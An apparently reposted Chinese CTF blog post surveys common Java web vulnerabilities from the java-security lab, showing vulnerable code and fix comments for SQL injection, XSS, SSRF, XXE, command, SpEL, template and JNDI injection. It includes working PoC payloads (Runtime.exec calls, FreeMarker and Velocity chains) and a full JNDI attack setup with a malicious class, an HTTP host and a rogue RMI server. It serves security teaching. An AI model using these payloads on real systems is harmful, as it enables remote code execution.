CTF javaweb中几大常见漏洞(基于java-security靶场)

对于CTF而言,java类型的题目基本都是白盒代码审计,在java类型的web题目增长的今天,java代码审计能力在ctf比赛中尤为重要。

这篇博客主要是给大家介绍一下一些常见漏洞在java代码里面大概是怎么产生的,而不去讨论漏洞具体的利用技巧。

一、SQL注入

什么是JDBC?

JDBC(Java Database Connectivity) 是 Java 提供的用于连接和操作数据库的标准 API(应用程序接口)。

JDBC中几个常见的造成sql注入的语法

1.statement字符串拼接

public String vul1(String id) {Class.forName("com.mysql.cj.jdbc.Driver");Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);Statement stmt = conn.createStatement();String sql = "select * from users where id = '" + id + "'";ResultSet rs = stmt.executeQuery(sql);
}

2.PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用

public String vul2(String id) {Class.forName("com.mysql.cj.jdbc.Driver");Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);String sql = "select * from users where id = " + id;PreparedStatement st = conn.prepareStatement(sql);ResultSet rs = st.executeQuery();
}

正确的语法应该是

    String sql = "select * from users where id = ?";PreparedStatement st = conn.prepareStatement(sql);st.setString(1, id);

用这种方法即可让输入的id的特殊符号自动转义

3.使用jdbctemplate但还是直接拼接

public Map<String, Object> vul3(String id) {DriverManagerDataSource dataSource = new DriverManagerDataSource();dataSource.setDriverClassName("com.mysql.cj.jdbc.Driver");dataSource.setUrl(db_url);dataSource.setUsername(db_user);dataSource.setPassword(db_pass);JdbcTemplate jdbctemplate = new JdbcTemplate(dataSource);String sql = "select * from users where id = " + id;// 安全代码:使用参数化查询,避免SQL注入风险// String sql = "select * from users where id = ?";return jdbctemplate.queryForMap(sql);
}

基本jdbc sql注入所有的来源都是直接拼接,一般来说用一些转义的库或者正则过滤都可以避免

MyBatis的sql注入

MyBatis是一种轻量化的框架,可以用于和数据库连接,他也存在一些漏洞。
${}

@GetMapping("/vul/order") //Controller层,获取客户端的参数,传递给userMapper的orderBy,分别在下面有定义
public List<User> orderBy(String field, String sort) {return userMapper.orderBy(field, sort);
}// 不安全的注解写法
public interface UserMapper {@Select("select * from users order by ${field} ${sort}")List<User> orderBy(@Param("field") String field, @Param("sort") String sort);
}// 不安全的XML映射写法 , 通过xml的格式来定义 
<select id="orderBy" resultType="com.best.hello.entity.User">select * from users order by ${field} ${sort}
</select>

这里${}的传参格式直接拼接sql造成注入漏洞

二、文件上传漏洞

java的文件上传和传统的文件上传基本都是一类漏洞,无非就是前端校验,修改扩展名,content-type之类的东西,其次还有像目录遍历这样的漏洞,就不单独说明了,给大家看看java文件上传的函数大概是怎么写的就行.

文件上传:

@PostMapping("/uploadVul")
public String uploadVul(@RequestParam("file") MultipartFile file) {try {byte[] bytes = file.getBytes();Path dir = Paths.get(UPLOADED_FOLDER);Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());Files.write(path, bytes);} catch (Exception e) {return e.toString();}return "redirect:uploadStatus";
}

目录遍历:

public String fileList(String filename) {String filePath = System.getProperty("user.dir") + "/logs/" + filename; //直接拼接,可以上传类似../..的文件名StringBuilder sb = new StringBuilder();File f = new File(filePath);File[] fs = f.listFiles();if (fs != null) {for (File ff : fs) {sb.append(ff.getName()).append("<br>");}return sb.toString();}return filePath + "目录不存在!";
}

三、XSS

造成反射型xss漏洞最基本的代码:

@GetMapping("/reflect")
public static String input(String content) {return content; //直接return
}

储存型:

@PostMapping("/save")
public String save(HttpServletRequest request) {String content = request.getParameter("content");xssMapper.add(content); //xss.Mapper未过滤直接存return "success";}

注入的方法也和传统xss一样,主要看你注入的js语句效果如何

四、SSRF

java里面发送任意请求的代码是怎么写的呢?

public static String URLConnection(String url) {try {URL u = new URL(url); //用URL类URLConnection conn = u.openConnection(); //通过 URLConnection 建立到指定URL的连接。BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));String content;StringBuffer html = new StringBuffer();while ((content = reader.readLine()) != null) {html.append(content);}reader.close();return html.toString();} catch (Exception e) {return e.getMessage();}
}

他的漏洞利用方式也和普通SSRF漏洞差不多,各种绕过黑名单的方法都能拿来用

五、XML

java中有很多xml解释类,这里也主要给大家介绍一下这些类,不去讲xml的语法,过滤方法也主要靠黑名单过滤

1.XMLReader

String XMLReader(@RequestBody String content) {try {XMLReader xmlReader = XMLReaderFactory.createXMLReader(); //xml解释器// 修复:禁用外部实体解析// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);xmlReader.parse(new InputSource(new StringReader(content))); //开始解析return "XMLReader XXE";} catch (Exception e) {return e.toString();}
}

2.DocumentBuilder

@RequestMapping(value = "/DocumentBuilder")
public String DocumentBuilder(@RequestParam String content) {DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); //xml解释器// 修复: 禁用外部实体// factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);DocumentBuilder builder = factory.newDocumentBuilder(); //开始解析,自动获取content参数
}

3.SAXReader

@RequestMapping(value = "/SAXReader")
public String SAXReader(@RequestParam String content) {try {SAXReader sax = new SAXReader(); //解释器// 修复:禁用外部实体// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);sax.read(new InputSource(new StringReader(content))); //解析return "SAXReader XXE";} catch (Exception e) {return e.toString();}
}

4.Unmarshaller

public String Unmarshaller(@RequestBody String content) {try {JAXBContext context = JAXBContext.newInstance(Student.class);Unmarshaller unmarshaller = context.createUnmarshaller(); //xml解释器XMLInputFactory xif = XMLInputFactory.newFactory();// 修复: 禁用外部实体// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content)); //装载xmlObject o = unmarshaller.unmarshal(xsr); //解析xmlreturn o.toString(); //字符串返回
} catch (Exception e) {e.printStackTrace();
}

5.SAXBuilder

@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {try {SAXBuilder saxbuilder = new SAXBuilder(); //解释器// 修复:禁用外部实体// saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);saxbuilder.build(new InputSource(new StringReader(content))); //解析return "SAXBuilder XXE";} catch (Exception e) {return e.toString();}
}

六、java rce

ProcessBuilder方式

触发代码:

// new ProcessBuilder(command).start()
// 功能是利用ProcessBuilder执行ls命令查看文件,但攻击者通过拼接; & |等连接符来执行自己的命令。public static String processbuilderVul(String filepath) throws IOException {String[] cmdList = {"sh", "-c", "ls -l " + filepath}; //命令拼接输入的filepath,例如输入/tmp;whoami即可拼接命令ProcessBuilder pb = new ProcessBuilder(cmdList); //创建进程pb.redirectErrorStream(true);Process process = pb.start(); //启动进程// 获取命令的输出InputStream inputStream = process.getInputStream(); //获取命令的标准输出流BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); //逐行读取输出内容String line;StringBuilder output = new StringBuilder();while ((line = reader.readLine()) != null) {output.append(line).append("\n");} //拼接所有输出行,最终返回给调用者return output.toString();
}

这里主要是介绍ProcessBuilder触发rce的一个情景,这里是调用sh解析的就不多介绍相关命令了。

Runtime方式

// Runtime.getRuntime().exec(cmd)public static String vul(String cmd) {StringBuilder sb = new StringBuilder();try {Process proc = Runtime.getRuntime().exec(cmd);InputStream fis = proc.getInputStream();InputStreamReader isr = new InputStreamReader(fis);BufferedReader br = new BufferedReader(isr);...

这里Runtime.getRuntime().exec执行命令调用是系统默认的shell

Processlmpl

// ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
// ProcessImpl 类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的public static String vul(String cmd) throws Exception {// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象Class clazz = Class.forName("java.lang.ProcessImpl");// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);// 使用 method.setAccessible 方法将 start 方法设为可访问method.setAccessible(true);// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}       

脚本引擎代码注入

// 通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行
// 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// ⚠️ 在Java 8之后移除了ScriptEngineManager的evalpublic void jsEngine(String url) throws Exception { //url就是脚本地址ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);engine.eval(payload, bindings);
}

groovy

import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {GroovyShell shell = new GroovyShell();shell.evaluate(cmd);
}

可以理解为一种基于java的语言。

七、java反序列化漏洞

java反序列化和php、python等还是有很大区别的,涉及到的内容较多,也是java中最有特色也最难利用的一类漏洞了,之后我会单独出一个博客来讲解

八、SpEL(Spring Expression Language)表达式注入

在spring框架的web项目可能会出现的漏洞,主要靠SpelExpressionParser这个类

/*** 产生原因:默认的StandardEvaluationContext权限过大,用户输入的表达式被直接解析和执行* PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)*/
public String vul(String ex) {ExpressionParser parser = new SpelExpressionParser();EvaluationContext evaluationContext = new StandardEvaluationContext();Expression exp = parser.parseExpression(ex);String result = exp.getValue(evaluationContext).toString();return result;
}

需要spel语法注入,上方有命令执行的poc

九、模板注入

通过这里我们也来认识一下java通用的模板引擎有哪些

Thymeleaf 模板

/*** 1.模板文件参数可控,造成模板注入漏洞(选择模板)*/
@GetMapping("/thymeleaf/vul")
public String thymeleafVul(@RequestParam String lang) {return "lang/" + lang;
}
//lang=__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x/*** 2.模板片段参数可控,造成模板注入漏洞(片段选择器)*/
@GetMapping("/thymeleaf/fragment/vul")
public String fragmentVul(@RequestParam String section) {return "lang/en :: " + section;
}
//section=${T(java.lang.Runtime).getRuntime().exec("calc")
/*** 3.当 Spring MVC 的 @GetMapping 方法没有返回值(void)时,Spring 会默认将请求的 URL 路径作为视图名称(View Name),交给模板引擎(如 Thymeleaf)解析。* 在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞* payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
*/@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {System.out.println(document);}
//poc:http://.../doc/__$%7BT(java.lang.Runtime).getRuntime().exec('whoami')%7D__::.x

FreeMarker 模板注入

/*** 模板文件内容可控,造成模板注入漏洞* payload: <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator") }*/
@GetMapping("/freemarker/vul")
public String freemarkerVul(@RequestParam String file, @RequestParam String content, Model model, HttpServletRequest request) {String resourcePath = "templates/freemarker/" + file;try (InputStream is = getClass().getClassLoader().getResourceAsStream(resourcePath)) {...}stringTemplateLoader.putTemplate(file, content); //stringTemplateLoader.putTemplate将用户输入的 content 动态加载为 FreeMarker 模板。content里的内容可以被命令执行conf.setTemplateUpdateDelayMilliseconds(0);conf.setLogTemplateExceptions(false);return file.replace(".ftl", "");
}
// poc:?file=indexxx.ftl&content=<%23assign%20ex%3d"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29>%20%24%7b%20ex%28"whoami"%29%20%7d

Velocity 模板注入(evaluate场景)

 /*** evaluate() 方法用于解析字符串模板,而不是从 .vm 文件中获取模板内容。* 将用户传入的参数拼接到字符串模板中使用evaluate进行解析,造成RCE* 漏洞影响范围: velocity <= 2.2* 修复方式: 更新至 2.3 以上版本* payload: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")*/
@GetMapping("/velocity/evaluate/vul")
@ResponseBody
public String velocityEvaluateVul(@RequestParam(defaultValue = "Hello-Java-Sec") String username) {String templateString = "Hello, " + username + " | phone: $phone, email: $email"; //拼接处Velocity.init();VelocityContext ctx = new VelocityContext();ctx.put("phone", "012345678");ctx.put("email", "xxx@xxx.com");StringWriter out = new StringWriter();Velocity.evaluate(ctx, out, "test", templateString); //关键触发函数Velocity.evaluatereturn out.toString();}

Velocity注入(merge场景)

/*** merge() 方法用于将模板字符串与上下文数据合并并生成结果* 示例代码中通过读取 merge.vm 的内容,将模板内容中的<USERNAME>替换为前端传入的username参数,最后通过merge方法进行合并,造成RCE* 漏洞影响范围: velocity <= 2.2* 修复方式: 更新至 2.3 以上版本* payload: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
*/
@GetMapping("/velocity/merge/vul")
@ResponseBody
public String velocityMergeVul(@RequestParam(defaultValue = "x1ong") String username) throws IOException, ParseException {// 读取 velocity 模板文件BufferedReader bufferedReader = new BufferedReader(new FileReader(String.valueOf(Paths.get(this.getClass().getClassLoader().getResource("templates/velocity/merge.vm").toString().replace("file:", "")))));StringBuilder stringBuilder = new StringBuilder();//merge.vm就是模板文件// 将模板文件读取到字符串String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line);}String templateString = stringBuilder.toString();// 替换模板中的 <USERNAME> 变量,存在注入风险templateString = templateString.replace("<USERNAME>", username);// 创建 Velocity 解析器StringReader reader = new StringReader(templateString);VelocityContext ctx = new VelocityContext();ctx.put("name", "x1ong");ctx.put("phone", "012345678");ctx.put("email", "xxx@xxx.com");// 解析并执行 Velocity 模板StringWriter out = new StringWriter();org.apache.velocity.Template template = new org.apache.velocity.Template();RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();SimpleNode node = runtimeServices.parse(reader, String.valueOf(template)); template.setRuntimeServices(runtimeServices);template.setData(node);template.initDocument();template.merge(ctx, out); //合并解析return out.toString();}

十、jndi注入

java运行远程加载类,而不局限于本地或者库里面的类,因此就会有远程恶意类的出现

/*** 产生原因:当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。*/
public void vul(String content) {try {Context ctx = new InitialContext(); //创建一个 JNDI 初始上下文(Initial Context),相当于连接到一个命名服务(如 LDAP、RMI、DNS、本地文件系统等)。ctx.lookup(content); //根据传入的 content(名称/路径)查找并返回绑定的对象} catch (Exception e) {log.warn("JNDI错误消息");}
}

这里的content我们可控,因此我们可以加载一些本地或者远程的恶意类

poc:rmi://127.0.0.1:1099/Exp

具体攻击流程:

(1)编写恶意类 Exploit.java
// Exploit.java - 弹计算器(Windows)或执行任意命令
public class Exploit {static {try {Runtime.getRuntime().exec("calc.exe");// Linux/Mac替换为:Runtime.getRuntime().exec("/bin/bash -c 'touch /tmp/pwned'");} catch (Exception e) {e.printStackTrace();}}
}
编译为 .class 文件:
javac Exploit.java(2)启动 HTTP 服务器托管 Exploit.class
# 使用Python快速启动HTTP服务(端口8000)
python3 -m http.server 8000
确保 Exploit.class 可通过 http://your-ip:8000/Exploit.class 访问。(3)启动恶意 RMI 服务器
// RMIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);// 指向HTTP服务器上的Exploit.classReference ref = new Reference("Exploit", "Exploit", "http://your-ip:8000/");registry.bind("Exploit", new ReferenceWrapper(ref));System.out.println("RMI Server running on 0.0.0.0:1099");}
}
编译并运行:
javac RMIServer.java
java RMIServer

十一、组件注入

也单独开一个博客去讲

后续如果我遇到好的靶场题目也会继续补充博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/915171.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/915171.shtml
英文地址,请注明出处:http://en.pswp.cn/news/915171.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【设计模式C#】外观模式(用于解决客户端对系统的许多类进行频繁沟通)

一种结构性设计模式。特点是将复杂的子系统调用逻辑封装到一个外观类&#xff0c;从而使客户端更容易与系统交互。优点&#xff1a;简化了接口的调用&#xff1b;降低了客户端与子系统的耦合度&#xff1b;封装了子系统的逻辑。缺点&#xff1a;引入了额外的类&#xff0c;可能…

【PTA数据结构 | C语言版】二叉堆的快速建堆操作

本专栏持续输出数据结构题目集&#xff0c;欢迎订阅。 文章目录题目代码题目 请编写程序&#xff0c;将 n 个顺序存储的数据用快速建堆操作调整为最小堆&#xff1b;最后顺次输出堆中元素以检验操作的正确性。 输入格式&#xff1a; 输入首先给出一个正整数 c&#xff08;≤1…

【数据结构初阶】--双向链表(二)

&#x1f525;个人主页&#xff1a;草莓熊Lotso &#x1f3ac;作者简介&#xff1a;C研发方向学习者 &#x1f4d6;个人专栏&#xff1a; 《C语言》 《数据结构与算法》《C语言刷题集》《Leetcode刷题指南》 ⭐️人生格言&#xff1a;生活是默默的坚持&#xff0c;毅力是永久的…

vue-cli 模式下安装 uni-ui

目录 easycom 自定义easycom配置的示例 npm安装 uni-ui 准备 sass 安装 uni-ui 注意 easycom 传统vue组件&#xff0c;需要安装、引用、注册&#xff0c;三个步骤后才能使用组件。easycom将其精简为一步。 只要组件路径符合规范&#xff08;具体见下&#xff09;&#…

JavaSE-接口

概念在Java中&#xff0c;接口可以被看成是一种公共规范&#xff0c;是一种引用数据类型。语法1.接口的定义格式与类的定义格式基本相同&#xff0c;将class关键字替换为interface关键字&#xff1a;public interface IShape {}2.类与接口之间使用implements关键字来实现接口&a…

常用类学习

文章目录字符串相关的类String的特性String对象的创建字符串相关的类String类与其他结构之间的转换StringBuffer,StringBuilderStringBuffer类的常用方法JDK8之前日期时间APIjava.lang.System类java.util.Date类java.text.SimpleDateFormat类java.util.Calendar类JDK8中新日期时…

【Python库包】Gurobi-Optimize (求解 MIP) 安装

目录Step1&#xff1a;注册账号Step2&#xff1a;获取Licence另&#xff1a;完整安装 Gurobi软件参考本博客简介Gurobi-Optimizer的安装&#xff08;Python 环境&#xff09;。 Step1&#xff1a;注册账号 官网-Gurobi-Optimizer ⚠️注意&#xff1a; Gurobi 是商业软件&…

【渗透测试】NmapScanHelper 扫描辅助工具

目录NmapScanHelper 扫描辅助工具一、功能特性二、文件说明三、使用方法1. 安装依赖macOSUbuntu/DebianCentOS/RHEL2. 配置网段3. 运行扫描基本用法常用端口扫描示例扫描模式特殊环境模式选择性扫描自定义文件4. 查看结果四、扫描模式说明标准模式特殊环境模式五、支持的 Nmap …

Python爬虫入门到实战(1)-requests库

一.网络爬虫库网络爬虫通俗来讲就是使用代码将HTML网页的内容下载到本地的过程。爬取网页主要是为了获取网之间需要中的关键信息&#xff0c;例如网页中的数据、图片、视频等。urllib库:是Python自带的标准库&#xff0c;无须下载、安装即可直接使用。urllib库中包含大量的爬虫…

深入理解设计模式之代理模式:原理、实现与应用

在软件开发中&#xff0c;我们经常需要控制对某些对象的访问——可能是为了延迟加载、添加额外功能或保护敏感资源。这正是代理模式大显身手的地方。作为结构型设计模式的重要成员&#xff0c;代理模式在众多知名框架和系统中扮演着关键角色。本文将全面剖析代理模式的方方面面…

VSCode - VSCode 快速跳转标签页

VSCode 快速跳转标签页 1、标签页列表快速跳转 通过快捷键 Ctrl Tab 即可快速跳转标签页 # 操作方式先按住 Ctrl 键&#xff0c;再按 Tab 键&#xff0c;此时&#xff0c;即可打开标签页列表&#xff08;保持 Ctrl 键一直按住&#xff09;然后&#xff0c;再按 Tab 键&#xf…

深入理解设计模式:享元模式(Flyweight Pattern)

在软件开发中&#xff0c;我们经常会遇到需要创建大量相似对象的情况。如果每个对象都独立存储所有数据&#xff0c;将会消耗大量内存资源&#xff0c;导致系统性能下降。享元模式&#xff08;Flyweight Pattern&#xff09;正是为解决这一问题而生的经典设计模式。本文将深入探…

网络大提速,RDMA,IB,iWrap

本章第一节介绍的存储设备方面的创新解决了CPU访问存储设备的性能问题。但在实际的业务当中,数据的传输除了在节点内部的CPU与存储设备间外,节点之间也存在数据传输的需求。本节我们就介绍在网络传输方面是如何提速的。 在介绍新的网络技术之前,我们看看传统网络是如何传输…

【C++】红黑树,“红“与“黑”的较量

各位大佬好&#xff0c;我是落羽&#xff01;一个坚持不断学习进步的大学生。 如果您觉得我的文章有所帮助&#xff0c;欢迎多多互三分享交流&#xff0c;一起学习进步&#xff01; 也欢迎关注我的blog主页: 落羽的落羽 一、红黑树的概念与规则 红黑树是一种更加特殊的平衡二…

【愚公系列】《MIoT.VC》001-认识、安装 MIoT.VC 软件

💎【行业认证权威头衔】 ✔ 华为云天团核心成员:特约编辑/云享专家/开发者专家/产品云测专家 ✔ 开发者社区全满贯:CSDN博客&商业化双料专家/阿里云签约作者/腾讯云内容共创官/掘金&亚马逊&51CTO顶级博主 ✔ 技术生态共建先锋:横跨鸿蒙、云计算、AI等前沿领域…

git:tag标签远程管理

git tag v1&#xff1a;在当前所在分支创建标签v1git tag -a v2 -m release version&#xff1a;创建一个带有附注的标签git tag -d v2&#xff1a;删除本地标签git tag&#xff1a;查看标签git push origin 标签1 标签2……&#xff1a;把多个标签推送到远程git push origin -…

力扣 hot100 Day49

105. 从前序与中序遍历序列构造二叉树 给定两个整数数组 preorder 和 inorder &#xff0c;其中 preorder 是二叉树的先序遍历&#xff0c; inorder 是同一棵树的中序遍历&#xff0c;请构造二叉树并返回其根节点。 //抄的 class Solution { private:unordered_map<int, i…

jvm-sandbox-repeater 录制和回放

https://github.com/alibaba/jvm-sandbox-repeater/blob/master/docs/user-guide-cn.md 快速录制自己应用 step0 安装sandbox和插件到应用服务器 curl -s https://github.com/alibaba/jvm-sandbox-repeater/releases/download/v1.0.0/install-repeater.sh | sh step1 修改repe…

【C++底层剖析】++a vs a++:到底谁是左值,谁是右值?

在 C 编程中&#xff0c;我们经常使用 a 和 a 来实现自增操作。乍一看它们只是“先加还是后加”的语法糖&#xff0c;但你真的理解它们的底层机制、返回值类型和左值右值属性吗&#xff1f;1. a 和 a 的基础区别表达式名称语义返回值类型左值 / 右值a前置自增先将 a 加 1&#…

【世纪龙科技】汽车故障诊断与排除仿真教学软件让课堂更高效安全

随着汽车产业向智能化、电动化快速转型&#xff0c;职业院校汽修专业的教学模式正面临全新挑战。传统实车实训存在成本高、风险大、场景单一等问题&#xff0c;而行业对人才的要求却越来越高——既需要扎实的理论基础&#xff0c;又必须具备熟练的故障诊断能力。如何在保证安全…